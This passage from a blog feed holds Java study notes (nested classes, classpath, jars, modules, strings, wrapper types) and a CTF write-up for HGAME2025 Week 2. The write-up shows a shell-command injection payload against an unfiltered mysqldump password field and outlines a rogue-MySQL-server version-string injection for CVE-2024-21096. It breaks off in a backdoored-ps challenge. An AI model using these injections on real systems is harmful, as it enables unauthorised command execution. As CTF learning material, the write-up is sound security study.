Class的<code>private</code>字段和方法。</p><p>&emsp;&emsp;观察Java编译器编译后的<code>.class</code>文件可以发现，<code>Outer</code>类被编译为<code>Outer.class</code>，而<code>Inner</code>类被编译为<code>Outer$Inner.class</code>。</p><h5 id="anonymous-class"><a href="#Anonymous-Class" class="headerlink" title="Anonymous Class"></a>Anonymous Class</h5><p>&emsp;&emsp;还有一种定义Inner Class的方法，它不需要在Outer Class中明确地定义这个Class，而是在方法内部，通过<font color="#ff9f9f"><strong>匿名类（Anonymous Class）</strong></font>来定义。示例代码如下：</p><pre><code class="java">// Anonymous Classpublic class Main &#123;    public static void main(String[] args) &#123;        Outer outer = new Outer(&quot;Nested&quot;);        outer.asyncHello();    &#125;&#125;class Outer &#123;    private String name;    Outer(String name) &#123;        this.name = name;    &#125;    void asyncHello() &#123;        Runnable r = new Runnable() &#123;            @Override            public void run() &#123;                System.out.println(&quot;Hello, &quot; + Outer.this.name);            &#125;        &#125;;        new Thread(r).start();    &#125;&#125;</code></pre><p>&emsp;&emsp;匿名类使我们能够在代码中创建一次性的类实例，通常用于实现接口或继承类，而不需要显式定义类。匿名类常用于需要短期实现某个接口、或者处理简单逻辑的场景，这样可以避免为了使用某个接口功能而频繁创建新类。</p><h5 id="static-nested-class"><a href="#Static-Nested-Class" class="headerlink" title="Static Nested Class"></a>Static Nested Class</h5><p>&emsp;&emsp;最后一种内部类和Inner Class类似，但是使用<code>static</code>修饰，称为<font color="#ff9f9f"><strong>静态内部类（Static Nested Class）</strong></font>：</p><pre><code class="java">// Static Nested Classpublic class Main &#123;    public static void main(String[] args) &#123;        Outer.StaticNested sn = new Outer.StaticNested();        sn.hello();    &#125;&#125;class Outer &#123;    private static String NAME = &quot;OUTER&quot;;    private String name;    Outer(String name) &#123;        this.name = name;    &#125;    static class StaticNested &#123;        void hello() &#123;            System.out.println(&quot;Hello, &quot; + Outer.NAME);        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;用<code>static</code>修饰的内部类和Inner Class有很大的不同，它不再依附于<code>Outer</code>的实例，而是一个完全独立的类，因此无法引用<code>Outer.this</code>，但它可以访问<code>Outer</code>的<code>private</code>静态字段和静态方法。</p><h4 id="classpath和jar"><a href="#classpath和jar" class="headerlink" title="classpath和jar"></a>classpath和jar</h4><h5 id="classpath"><a href="#classpath" class="headerlink" title="classpath"></a>classpath</h5><p>&emsp;&emsp;<code>classpath</code>是JVM用到的一个环境变量，它用来指示JVM如何搜索<code>class</code>。</p><p>&emsp;&emsp;因为Java是编译型语言，源码文件是<code>.java</code>，而编译后的<code>.class</code>文件才是真正可以被JVM执行的字节码。因此，JVM需要知道，如果要加载一个<code>abc.xyz.Hello</code>的类，应该去哪搜索对应的<code>Hello.class</code>文件。</p><p>&emsp;&emsp;所以，<font color="#ff9f9f"><strong><code>classpath</code>就是一组目录的集合</strong></font>，它设置的搜索路径与操作系统相关。例如，在Windows系统上，用<code>;</code>分隔，带空格的目录用<code>&quot;&quot;</code>括起来，可能长这样：</p><pre><code class="plain">C:\work\project1\bin;C:\shared;&quot;D:\My Documents\project1\bin&quot;</code></pre><p>&emsp;&emsp;在Linux系统上，用<code>:</code>分隔，可能长这样：</p><pre><code class="plain">/usr/shared:/usr/local/bin:/home/liaoxuefeng/bin</code></pre><p>&emsp;&emsp;现在我们假设<code>classpath</code>是<code>.;C:\work\project1\bin;C:\shared</code>，当JVM在加载<code>abc.xyz.Hello</code>这个类时，会依次查找：</p><ul><li>.\abc\xyz\Hello.class</li><li>C:\work\project1\bin\abc\xyz\Hello.class</li><li>C:\shared\abc\xyz\Hello.class</li></ul><p>&emsp;&emsp;<code>classpath</code>的设定方法有两种：</p><ul><li><p>在系统环境变量中设置<code>classpath</code>环境变量，不推荐；</p></li><li><p>在启动JVM时设置<code>classpath</code>变量，推荐。</p></li></ul><p>&emsp;&emsp;在系统环境变量中设置<code>classpath</code>会污染整个系统环境。在启动JVM时设置<code>classpath</code>才是推荐的做法。实际上就是给<code>java</code>命令传入<code>-classpath(-cp)</code>参数。</p><pre><code class="plain">java -cp .;C:\work\project1\bin;C:\shared abc.xyz.Hello</code></pre><p>&emsp;&emsp;没有设置系统环境变量，也没有传入<code>-cp</code>参数，那么JVM默认的<code>classpath</code>为<code>.(当前目录)</code>。</p><blockquote><p>在java5中，sun公司改进了JDK设计，<a href="https://zhida.zhihu.com/search?content_id=116202572&content_type=Article&match_order=1&q=JRE&zhida_source=entity">JRE</a>会自动搜索当前路径下的jar包，并自动加载dt.jar和tools.jar。所以从Java5开始，就不必再设置CLASSPATH环境变量了。</p><p>来自<a href="https://zhuanlan.zhihu.com/p/126323702">「JAVA」 Java基础之CLASSPATH环境变量</a></p></blockquote><h5 id="jar包"><a href="#jar包" class="headerlink" title="jar包"></a>jar包</h5><p>&emsp;&emsp;如果有很多<code>.class</code>文件，散落在各层目录中，肯定不便于管理。如果能把目录打一个包，变成一个文件，就方便多了。</p><p>&emsp;&emsp;<font color="#ff9f9f"><strong>jar包</strong></font>就是用来干这个事的，它可以把<code>package</code>组织的目录层级，以及各个目录下的所有文件（包括<code>.class</code>文件和其他文件）都打成一个jar文件，这样一来，无论是备份，还是发给客户，就简单多了。</p><p>&emsp;&emsp;jar包实际上就是一个zip格式的压缩文件，而jar包相当于目录。如果我们要执行一个jar包的<code>class</code>，就可以把jar包放到<code>classpath</code>中：</p><pre><code class="plain">java -cp ./hello.jar abc.xyz.Hello</code></pre><p>&emsp;&emsp;这样JVM会自动在<code>hello.jar</code>文件里去搜索某个类。</p><p>&emsp;&emsp;创建jar包的方式很简单，将目录压缩成zip，再把后缀改成jar就好了。要注意里面的目录结构和之后运行时保持配对。</p><p>&emsp;&emsp;也可以使用jar命令行方法打包，下面是jar命令行的使用方法：</p><blockquote><p>jar {c t x u f }[ v m e 0 M i ][-C 目录] 文件名 …</p><ul><li>-c 创建一个jar包</li><li>-t 显示jar中的内容列表</li><li>-x 解压jar包</li><li>-u 添加文件到jar包中</li><li>-f 指定jar包的文件名</li><li>-v 生成详细的报造，并输出至标准设备</li><li>-m 指定MANIFEST.MF文件</li><li>-o 产生jar包时不对其中的内容进行压缩处理</li><li>-M 不产生MANIFEST.MF。这个参数相当于忽略掉-m参数的设置</li><li>-i  为指定的jar文件创建索引文件</li><li>-C 表示转到相应的目录下执行jar命令,相当于cd到那个目录，然后不带-C执行jar命令</li></ul><p>摘录自<a href="https://www.cnblogs.com/liyanbin/p/6088458.html"><a href="https://www.cnblogs.com/liyanbin/p/6088458.html">jar命令的用法详解</a></a></p></blockquote><p>&emsp;&emsp;jar包还可以包含一个特殊的<code>/META-INF/MANIFEST.MF</code>文件，<code>MANIFEST.MF</code>是纯文本，可以指定<code>Main-Class</code>和其它信息。JVM会自动读取这个<code>MANIFEST.MF</code>文件，如果存在<code>Main-Class</code>，我们就不必在命令行指定启动的类名，而是用更方便的命令：</p><pre><code class="plain">java -jar hello.jar</code></pre><blockquote><p>在大型项目中，不可能手动编写<code>MANIFEST.MF</code>文件，再手动创建jar包。Java社区提供了大量的开源构建工具，例如<a href="https://liaoxuefeng.com/books/java/maven/index.html">Maven</a>，可以非常方便地创建jar包。</p></blockquote><h4 id="模块"><a href="#模块" class="headerlink" title="模块"></a>模块</h4><h5 id="什么是模块"><a href="#什么是模块" class="headerlink" title="什么是模块"></a>什么是模块</h5><p>&emsp;&emsp;从Java 9开始，JDK又引入了<font color="#ff9f9f"><strong>模块（Module）</strong></font>。主要是为了解决“依赖”这个问题。如果<code>a.jar</code>必须依赖另一个<code>b.jar</code>才能运行，那我们应该给<code>a.jar</code>加点说明啥的，让程序在编译和运行的时候能自动定位到<code>b.jar</code>，这种<em><strong>自带“依赖关系”的class容器就是模块</strong></em>。</p><p>&emsp;&emsp;从Java 9开始，原有的Java标准库已经由一个单一巨大的<code>rt.jar</code>分拆成了几十个模块，这些模块以<code>.jmod</code>扩展名标识，可以在<code>$JAVA_HOME/jmods</code>目录下找到它们：</p><ul><li>java.base.jmod</li><li>java.compiler.jmod</li><li>java.datatransfer.jmod</li><li>java.desktop.jmod</li><li>…</li></ul><p>&emsp;&emsp;这些<code>.jmod</code>文件每一个都是一个模块，模块名就是文件名。模块之间的依赖关系已经被写入到模块内的<code>module-info.class</code>文件了。所有的模块都直接或间接地依赖<code>java.base</code>模块，只有<code>java.base</code>模块不依赖任何模块，它可以被看作是“根模块”。</p><p>&emsp;&emsp;把一堆class封装为jar仅仅是一个打包的过程，而把一堆class封装为模块则不但需要打包，还需要写入依赖关系，并且还可以包含二进制代码（通常是JNI扩展）。此外，模块支持多版本，即在同一个模块中可以为不同的JVM提供不同的版本。</p><h5 id="编写模块"><a href="#编写模块" class="headerlink" title="编写模块"></a>编写模块</h5><p>&emsp;&emsp;首先，创建模块和原有的创建Java项目是完全一样的，以<code>oop-module</code>工程为例，它的目录结构如下：</p><pre><code>oop-module├── bin├── build.sh└── src    ├── com    │   └── itranswarp    │       └── sample    │           ├── Greeting.java    │           └── Main.java    └── module-info.java</code></pre><p>&emsp;&emsp;其中，<code>bin</code>目录存放编译后的class文件，<code>src</code>目录存放源码，按包名的目录结构存放，仅仅在<code>src</code>目录下多了一个<code>module-info.java</code>这个文件，这就是模块的描述文件。在这个模块中，它长这样：</p><pre><code class="java">module hello.world &#123;    requires java.base; // 可不写，任何模块都会自动引入java.base    requires java.xml;&#125;</code></pre><p>&emsp;&emsp;其中，<code>module</code>是关键字，后面的<code>hello.world</code>是模块的名称，它的命名规范与包一致。花括号的<code>requires xxx;</code>表示这个模块需要引用的<strong>其他模块名</strong>。除了<code>java.base</code>可以被自动引入外，这里我们引入了一个<code>java.xml</code>的模块。</p><p>&emsp;&emsp;当我们使用模块声明了依赖关系后，才能使用引入的模块。例如，<code>Main.java</code>代码如下：</p><pre><code class="java">package com.itranswarp.sample;// 必须引入java.xml模块后才能使用其中的类:import javax.xml.XMLConstants;public class Main &#123;    public static void main(String[] args) &#123;        Greeting g = new Greeting();        System.out.println(g.hello(XMLConstants.XML_NS_PREFIX));    &#125;&#125;</code></pre><p>&emsp;&emsp;接下来我们用JDK提供的命令行工具来编译并创建模块。</p><p>&emsp;&emsp;首先，我们把工作目录切换到<code>oop-module</code>，在当前目录下编译所有的<code>.java</code>文件，并存放到<code>bin</code>目录下，命令如下：</p><pre><code class="plain">$ javac -d bin src/module-info.java src/com/itranswarp/sample/*.java</code></pre><p>&emsp;&emsp;如果编译成功，现在项目结构如下：</p><pre><code>oop-module├── bin│   ├── com│   │   └── itranswarp│   │       └── sample│   │           ├── Greeting.class│   │           └── Main.class│   └── module-info.class└── src    ├── com    │   └── itranswarp    │       └── sample    │           ├── Greeting.java    │           └── Main.java    └── module-info.java</code></pre><p>&emsp;&emsp;注意到<code>src</code>目录下的<code>module-info.java</code>被编译到<code>bin</code>目录下的<code>module-info.class</code>。</p><p>&emsp;&emsp;下一步，我们需要把bin目录下的所有class文件先打包成jar，在打包的时候，注意传入<code>--main-class</code>参数，让这个jar包能自己定位<code>main</code>方法所在的类：</p><pre><code class="plain">$ jar -cf hello.jar --main-class com.itranswarp.sample.Main -C bin .</code></pre><blockquote><p><code>--main-class</code> 指定main类</p><p><code>-C bin .</code> 表示将 <code>bin</code> 目录下的所有文件和子目录都包含在 JAR 文件中。</p></blockquote><p>&emsp;&emsp;现在我们就在当前目录下得到了<code>hello.jar</code>这个jar包，可以直接使用命令<code>java -jar hello.jar</code>来运行它。但是我们的目标是创建模块，所以，继续使用JDK自带的<code>jmod</code>命令把一个jar包转换成模块：</p><pre><code class="plain">$ jmod create -cp hello.jar hello.jmod</code></pre><p>&emsp;&emsp;于是，在当前目录下我们又得到了<code>hello.jmod</code>这个模块文件。</p><h5 id="运行模块"><a href="#运行模块" class="headerlink" title="运行模块"></a>运行模块</h5><p>&emsp;&emsp;要运行一个jar，我们使用<code>java -jar</code>命令。要运行一个模块，我们只需要指定模块名。</p><pre><code class="plain">$ java --module-path hello.jar --module hello.worldHello, xml!</code></pre><p>&emsp;&emsp;注意指定module-path时要指定的是jar位置而非jmod。生成的jmod主要是用来打包jre的</p><h5 id="打包jre"><a href="#打包JRE" class="headerlink" title="打包JRE"></a>打包JRE</h5><p>&emsp;&emsp;前面讲了，为了支持模块化，Java 9首先带头把自己的一个巨大无比的<code>rt.jar</code>拆成了几十个<code>.jmod</code>模块，原因就是，运行Java程序的时候，实际上我们用到的JDK模块，并没有那么多。不需要的模块，完全可以删除。过去发布一个Java应用程序，要运行它，必须下载一个完整的JRE，再运行jar包。非常麻烦，并且JRE占用存储不小。</p><p>&emsp;&emsp;现在，JRE自身的标准库已经分拆成了模块，只需要带上程序用到的模块，其他的模块就可以被裁剪掉。怎么裁剪JRE呢？并不是说把系统安装的JRE给删掉部分模块，而是“复制”一部分JRE，只带上用到的模块。为此，JDK提供了<code>jlink</code>命令来干这件事。命令如下：</p><pre><code class="plain">$ jlink --module-path hello.jmod --add-modules java.base,java.xml,hello.world --output jre/</code></pre><p>&emsp;&emsp;我们在<code>--module-path</code>参数指定了我们自己的模块<code>hello.jmod</code>，然后，在<code>--add-modules</code>参数中指定了我们用到的3个模块<code>java.base</code>、<code>java.xml</code>和<code>hello.world</code>，用<code>,</code>分隔。最后，在<code>--output</code>参数指定输出目录。</p><p>&emsp;&emsp;现在，在当前目录下，我们可以找到<code>jre</code>目录，这是一个完整的并且带有我们自己<code>hello.jmod</code>模块的JRE。试试直接运行这个JRE：</p><pre><code class="plain">$ jre/bin/java --module hello.worldHello, xml!//相当于这是个新的JRE，可以在其他未部署java的环境下运行！</code></pre><p>&emsp;&emsp;要分发我们自己的Java应用程序，只需要把这个<code>jre</code>目录打个包给对方发过去，对方直接运行上述命令即可，既不用下载安装JDK，也不用知道如何配置我们自己的模块，<strong>极大地方便了分发和部署</strong>。</p><h5 id="访问权限"><a href="#访问权限" class="headerlink" title="访问权限"></a>访问权限</h5><p>&emsp;&emsp;<code>class</code>的访问权限(public等)只在一个模块内有效，模块和模块之间，例如，a模块要访问b模块的某个<code>class</code>，必要条件是b模块明确地导出了可以访问的包。</p><p>&emsp;&emsp;举个例子：我们编写的模块<code>hello.world</code>用到了模块<code>java.xml</code>的一个类<code>javax.xml.XMLConstants</code>，我们之所以能直接使用这个类，是因为模块<code>java.xml</code>的<code>module-info.java</code>中声明了若干导出：</p><pre><code class="java">module java.xml &#123;    exports java.xml;    exports javax.xml.catalog;    exports javax.xml.datatype;    ...&#125;</code></pre><p>&emsp;&emsp;只有它声明的导出的包，外部代码才被允许访问。换句话说，如果外部代码想要访问我们的<code>hello.world</code>模块中的<code>com.itranswarp.sample.Greeting</code>类，我们必须将其导出：</p><pre><code class="java">module hello.world &#123;    exports com.itranswarp.sample;    requires java.base;    requires java.xml;&#125;</code></pre><p>&emsp;&emsp;因此，模块进一步隔离了代码的访问权限。</p><h3 id="java核心类"><a href="#Java核心类" class="headerlink" title="Java核心类"></a>Java核心类</h3><h4 id="字符串和编码"><a href="#字符串和编码" class="headerlink" title="字符串和编码"></a>字符串和编码</h4><h5 id="string"><a href="#String" class="headerlink" title="String"></a>String</h5><p>&emsp;&emsp;在Java中，<code>String</code>是一个引用类型，它本身也是一个<code>class</code>。但是，Java编译器对<code>String</code>有特殊处理，即可以直接用<code>&quot;...&quot;</code>来表示一个字符串：</p><pre><code class="java">String s1 = &quot;Hello!&quot;;</code></pre><p>&emsp;&emsp;实际上字符串在<code>String</code>内部是通过一个<code>char[]</code>数组表示的，因此，按下面的写法也是可以的：</p><pre><code class="java">String s2 = new String(new char[] &#123;&#39;H&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;, &#39;o&#39;, &#39;!&#39;&#125;);</code></pre><p>&emsp;&emsp;Java字符串的一个重要特点就是字符串<strong>不可变</strong>。这种不可变性是通过内部的<code>private final char[]</code>字段，以及没有任何修改<code>char[]</code>的方法实现的。</p><h5 id="字符串比较"><a href="#字符串比较" class="headerlink" title="字符串比较"></a>字符串比较</h5><p>&emsp;&emsp;当我们想要比较两个字符串是否相同时，要特别注意，我们实际上是想比较字符串的内容是否相同。必须使用<code>equals()</code>方法而不能用<code>==</code>。</p><p>&emsp;&emsp;如下例：</p><pre><code class="java">// Stringpublic class Main &#123;    public static void main(String[] args) &#123;        String s1 = &quot;hello&quot;;        String s2 = &quot;hello&quot;;        System.out.println(s1 == s2);        System.out.println(s1.equals(s2));    &#125;&#125;</code></pre><p>&emsp;&emsp;从表面上看，两个字符串用<code>==</code>和<code>equals()</code>比较都为<code>true</code>，但实际上那只是Java编译器在编译期，<em>会自动把所有相同的字符串当作一个对象放入常量池</em>，自然<code>s1</code>和<code>s2</code>的引用就是相同的。</p><p>&emsp;&emsp;所以，这种<code>==</code>比较返回<code>true</code>纯属巧合。换一种写法，<code>==</code>比较就会失败：</p><pre><code class="java">// Stringpublic class Main &#123;    public static void main(String[] args) &#123;        String s1 = &quot;hello&quot;;        String s2 = &quot;HELLO&quot;.toLowerCase();        System.out.println(s1 == s2);        System.out.println(s1.equals(s2));    &#125;&#125;</code></pre><p>&emsp;&emsp;两个字符串比较，必须总是使用<code>equals()</code>方法。</p><blockquote><p>要忽略大小写比较，使用<code>equalsIgnoreCase()</code>方法。</p></blockquote><p>&emsp;&emsp;<code>String</code>类还提供了多种方法来操作字符串。</p><ul><li>判断字串：</li></ul><pre><code class="java">string.contains(&quot;ll&quot;); // 判断字符串中是否存在指定字符串</code></pre><blockquote><p>注意到<code>contains()</code>方法的参数是<code>CharSequence</code>而不是<code>String</code>，<code>CharSequence</code>是<code>String</code>实现的一个接口。</p></blockquote><ul><li>搜索子串的方法：</li></ul><pre><code class="java">string.indexOf(&quot;l&quot;); // 查找首个指定字符的索引string.lastIndexOf(&quot;l&quot;); // 查找末个指定字符的索引string.startsWith(&quot;He&quot;); // 判断是否以某字符串开头string.endsWith(&quot;lo&quot;); // 判断是否以某字符串结尾</code></pre><ul><li>提取子串：</li></ul><pre><code class="java">string.substring(2, 4); //截取索引范围内的字符</code></pre><ul><li>去除空白字符：</li></ul><pre><code class="java">string.trim(); //去除字符串首尾空白字符,包括\t,\r,\nstring.strip(); // 去除字符串首尾空白字符,包括\t,\r,\n,\u3000string.stripLeading(); // 去除字符串首空白字符string.stripTrailing(); // 去除字符串尾空白字符</code></pre><ul><li>判断空字符或空白字符：</li></ul><pre><code class="java">string.isEmpty(); // 判断字符串长度是否为0string.isBlank(); // 判断是否只包含空白字符</code></pre><ul><li>替换字串：</li></ul><pre><code class="java">string.replace(str1, str2); // 将字符串中指定字串(str1)替换为另指定字符(str2)string.replaceAll(re_str, str); // 根据正则表达式替换字符</code></pre><ul><li>分割字符：</li></ul><pre><code class="java">string.split(re_str); // 根据正则表达式分割字符串为数组</code></pre><ul><li>拼接字符串：</li></ul><pre><code class="java">String.join(str, arr); // 以指定字符串(str)连接字符串数组(arr)中所有字符串// 该方法为静态方法</code></pre><ul><li>格式化字符串</li></ul><pre><code class="java">String.format(&quot;Hi %s, your score is %.2f!&quot;, &quot;Bob&quot;, 59.5)// 格式化字符串，占位符与C中无异// 该方法为静态方法</code></pre><ul><li>类型转换</li></ul><pre><code class="java">String.valueOf(arg1); // 将arg1转换为字符串类，该方法为静态方法Integer.parseInt(str, arg2); // 将str以arg2的进制转换为十进制int</code></pre><p>&emsp;&emsp;要特别注意，<code>Integer</code>有个<code>getInteger(String)</code>方法，它不是将字符串转换为<code>int</code>，而是把该字符串对应的系统变量转换为<code>Integer</code>：</p><pre><code class="java">Integer.getInteger(&quot;java.version&quot;); // 版本号int</code></pre><blockquote><p>不记录StringJoiner和StringBuilder</p></blockquote><h4 id="包装类型"><a href="#包装类型" class="headerlink" title="包装类型"></a>包装类型</h4><p>&emsp;&emsp;我们已经知道，Java的数据类型分两种：</p><ul><li>基本类型：<code>byte</code>，<code>short</code>，<code>int</code>，<code>long</code>，<code>boolean</code>，<code>float</code>，<code>double</code>，<code>char</code>；</li><li>引用类型：所有<code>class</code>和<code>interface</code>类型。</li></ul><p>&emsp;&emsp;引用类型可以赋值为<code>null</code>，表示空，但基本类型不能赋值为<code>null</code></p><p>&emsp;&emsp;那么，如何把一个基本类型视为对象（引用类型）？比如，想要把<code>int</code>基本类型变成一个引用类型，我们可以定义一个<code>Integer</code>类，它只包含一个实例字段<code>int</code>，这样，<code>Integer</code>类就可以视为<code>int</code>的<font color="#ff9f9f"><strong>包装类（Wrapper Class）</strong></font>：</p><pre><code class="java">public class Main &#123;    public static void main(String[] args) &#123;        Integer n = null;        Integer n2 = new Integer(99);        int n3 = n2.intValue();    &#125;&#125;class Integer &#123; // 定义int的包装类型integer    private int value;    public Integer(int value) &#123;        this.value = value;    &#125;    public int intValue() &#123;        return this.value;    &#125;&#125;</code></pre><p>&emsp;&emsp;实际上，因为包装类型非常有用，Java核心库为每种基本类型都提供了对应的包装类型：</p><table><thead><tr><th align="left">基本类型</th><th align="left">对应的引用类型</th></tr></thead><tbody><tr><td align="left">boolean</td><td align="left">java.lang.Boolean</td></tr><tr><td align="left">byte</td><td align="left">java.lang.Byte</td></tr><tr><td align="left">short</td><td align="left">java.lang.Short</td></tr><tr><td align="left">int</td><td align="left">java.lang.Integer</td></tr><tr><td align="left">long</td><td align="left">java.lang.Long</td></tr><tr><td align="left">float</td><td align="left">java.lang.Float</td></tr><tr><td align="left">double</td><td align="left">java.lang.Double</td></tr><tr><td align="left">char</td><td align="left">java.lang.Character</td></tr></tbody></table><h5 id="auto-boxing"><a href="#Auto-Boxing" class="headerlink" title="Auto Boxing"></a>Auto Boxing</h5><p>&emsp;&emsp;因为<code>int</code>和<code>Integer</code>可以互相转换，所以，Java编译器可以帮助我们自动在<code>int</code>和<code>Integer</code>之间转型：</p><pre><code class="java">Integer n = 100; // 编译器自动使用Integer.valueOf(int)int x = n; // 编译器自动使用Integer.intValue()</code></pre><p>&emsp;&emsp;这种直接把<code>int</code>变为<code>Integer</code>的赋值写法，称为<font color="#ff9f9f"><strong>自动装箱（Auto Boxing）</strong></font>，反过来，把<code>Integer</code>变为<code>int</code>的赋值写法，称为<font color="#ff9f9f"><strong>自动拆箱（Auto Unboxing）</strong></font>。</p><blockquote><p>自动装箱和自动拆箱只发生在编译阶段，目的是为了少写代码。</p></blockquote><p>&emsp;&emsp;装箱和拆箱会影响代码的执行效率，因为编译后的<code>class</code>代码是严格区分基本类型和引用类型的。并且，自动拆箱执行时可能会报<code>NullPointerException</code>(基本类型被赋为引用类型时)。</p><h5 id="不变类"><a href="#不变类" class="headerlink" title="不变类"></a>不变类</h5><p>&emsp;&emsp;所有的包装类型都是不变类。我们查看<code>Integer</code>的源码可知，它的核心代码如下。因此，一旦创建了<code>Integer</code>对象，该对象就是不变的。</p><pre><code class="java">public final class Integer &#123;    private final int value;&#125;</code></pre><p>&emsp;&emsp;由于包装类型是引用类型，比较时要用<code>equals()</code>函数。</p><p>&emsp;&emsp;我们把能创建“新”对象的静态方法称为<font color="#ff9f9f"><strong>静态工厂方法</strong></font>。<code>Integer.valueOf()</code>就是静态工厂方法，它尽可能地返回缓存的实例以节省内存。因此创建新对象时，优先选用静态工厂方法而不是new操作符。</p><h4 id="javabean"><a href="#JavaBean" class="headerlink" title="JavaBean"></a>JavaBean</h4><p>&emsp;&emsp;在Java中，有很多<code>class</code>的定义都符合这样的规范：</p><ul><li>若干<code>private</code>实例字段；</li><li>通过<code>public</code>方法来读写实例字段。</li><li>存在get…与set…的读写方法(<code>boolean</code>字段比较特殊，它的读方法一般命名为<code>isXyz()</code>)</li></ul><p>&emsp;&emsp;那么这种<code>class</code>被称为<code>JavaBean</code>，它是一种JAVA语言写成的可重用组件。，例如：</p><pre><code class="java">public class Person &#123;    private String name;    private int age;    public String getName() &#123; return this.name; &#125;    public void setName(String name) &#123; this.name = name; &#125;    public int getAge() &#123; return this.age; &#125;    public void setAge(int age) &#123; this.age = age; &#125;&#125;</code></pre><p>&emsp;&emsp;我们通常把一组对应的<font color="#ff9f9f"><strong>读方法（<code>getter</code>）</strong></font>和<font color="#ff9f9f"><strong>写方法（<code>setter</code>）</strong></font>称为<font color="#ff9f9f"><strong>属性（<code>property</code>）</strong></font>。例如，<code>name</code>属性：</p><ul><li>对应的读方法是<code>String getName()</code></li><li>对应的写方法是<code>setName(String)</code></li></ul><p>只有<code>getter</code>的属性称为<font color="#ff9f9f"><strong>只读属性（read-only）</strong></font>，例如，定义一个age只读属性：</p><ul><li>对应的读方法是<code>int getAge()</code></li><li>无对应的写方法<code>setAge(int)</code></li></ul><p>类似的，只有<code>setter</code>的属性称为<font color="#ff9f9f"><strong>只写属性（write-only）</strong></font>。</p><h5 id="javabean的作用"><a href="#JavaBean的作用" class="headerlink" title="JavaBean的作用"></a>JavaBean的作用</h5><p>&emsp;&emsp;JavaBean主要用来传递数据，即把一组数据组合成一个JavaBean便于传输。</p><blockquote><p>另外还有事件类JavaBean，这里就不摘录了</p></blockquote>]]></content>
    
    
    <summary type="html">Java的学习笔记喵~</summary>
    
    
    
    <category term="笔记" scheme="https://101.43.94.206/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Java" scheme="https://101.43.94.206/tags/Java/"/>
    
  </entry>
  
  <entry>
    <title>WP FOR HGAME2025 Week2</title>
    <link href="https://101.43.94.206/2025/02/18/wpforhgame2025w2/"/>
    <id>https://101.43.94.206/2025/02/18/wpforhgame2025w2/</id>
    <published>2025-02-18T10:03:29.000Z</published>
    <updated>2025-03-25T10:51:10.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="web"><a href="#Web" class="headerlink" title="Web"></a>Web</h3><h4 id="level-21096-honeypot"><a href="#Level-21096-HoneyPot" class="headerlink" title="Level 21096 HoneyPot"></a>Level 21096 HoneyPot</h4><p>&emsp;&emsp;原本应该是CVE-2024-21096的复现，然而源码中直接存在漏洞，可以直接rce。</p><p>&emsp;&emsp;部分源码：</p><pre><code class="go">//Never able to inject shell commands,Hackers can&#39;t use this,HaHa    command := fmt.Sprintf(&quot;/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s&quot;,        config.RemoteHost,         config.RemoteUsername,        config.RemotePassword,        config.RemoteDatabase,        localConfig.Username,        localConfig.Password,        config.LocalDatabase,</code></pre><pre><code class="go">func validateImportConfig(config ImportConfig) error &#123;    if config.RemoteHost == &quot;&quot; ||        config.RemoteUsername == &quot;&quot; ||        config.RemoteDatabase == &quot;&quot; ||        config.LocalDatabase == &quot;&quot; &#123;        return fmt.Errorf(&quot;missing required fields&quot;)    &#125;    if match, _ := regexp.MatchString(`^[a-zA-Z0-9\.\-]+$`, config.RemoteHost); !match &#123;        return fmt.Errorf(&quot;invalid remote host&quot;)    &#125;    if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteUsername); !match &#123;        return fmt.Errorf(&quot;invalid remote username&quot;)    &#125;    if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteDatabase); !match &#123;        return fmt.Errorf(&quot;invalid remote database name&quot;)    &#125;    if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.LocalDatabase); !match &#123;        return fmt.Errorf(&quot;invalid local database name&quot;)    &#125;    return nil&#125;</code></pre><p>&emsp;&emsp;由于没有对config.RemotePassword进行任何过滤，这里可以直接写rce代码：</p><pre><code>fumofumo ; /writeflag; #</code></pre><p>&emsp;&emsp;再访问&#x2F;flag就可以得到flag了。</p><img src="/2025/02/18/wpforhgame2025w2/hw2-1.png"><h4 id="level-21096-honeypot_revenge"><a href="#Level-21096-HoneyPot-Revenge" class="headerlink" title="Level 21096 HoneyPot_Revenge"></a>Level 21096 HoneyPot_Revenge</h4><p>&emsp;&emsp;真正的CVE-2024-21096的复现题。</p><p>&emsp;&emsp;首先要下载mysql8.0.34,由于要修改其版本号来实现注入，必须要下载源码后编译安装。</p><p>&emsp;&emsp;编译安装完成后，修改<code>mysql_version.h.in</code>版本模板文件如下，执行&#x2F;writeflag。因为mysqldump连接数据库后对导出的文件没有对MySQL的版本号做校验，导致可以注入CRLF行并插入<code>\!</code>来执行命令。</p><img src="/2025/02/18/wpforhgame2025w2/hw2-2.png"><p>&emsp;&emsp;之后编译安装，初始化启动建库之后要整一个可以被连接的用户，这里设定admin：</p><pre><code class="mysql">CREATE USER &#39;admin&#39;@&#39;%&#39; IDENTIFIED BY &#39;admin&#39;;GRANT ALL PRIVILEGES ON *.* TO &#39;admin&#39;@&#39;%&#39;;FLUSH PRIVILEGES;</code></pre><p>&emsp;&emsp;查看mysql版本：</p><pre><code class="shell">/usr/local/mysql/bin/mysqldump --version</code></pre><img src="/2025/02/18/wpforhgame2025w2/hw2-3.png"><p>&emsp;&emsp;之后上靶机连接本地数据库,访问&#x2F;flag目录即可</p><img src="/2025/02/18/wpforhgame2025w2/hw2-4.png"><blockquote><p>由于本人过于愚蠢写write写成wirte导致第一次重来（编译很麻烦），之后又因为服务没重启（弱智的我）劳烦学长，真的太感谢了！</p></blockquote><p>&emsp;&emsp;鸣谢： <a href="https://tech.ec3o.fun/2024/10/25/Web-Vulnerability%20Reproduction/CVE-2024-21096">CVE-2024-21096 mysqldump命令注入漏洞简析——Ec3o</a></p><h3 id="misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h3><h4 id="computer-cleaner-plus"><a href="#Computer-cleaner-plus" class="headerlink" title="Computer cleaner plus"></a>Computer cleaner plus</h4><p>&emsp;&emsp;进虚拟机后一顿寻找，在先探var，没有发现什么脏东西。再探root目录，<code>ls -la</code>会发现存在 <code>.hide_command</code>目录，里面存在ps，典型的替换ps命令留后门。</p><p>&emsp;&emsp;那么必然存在一个伪造的ps，<code>find / -name 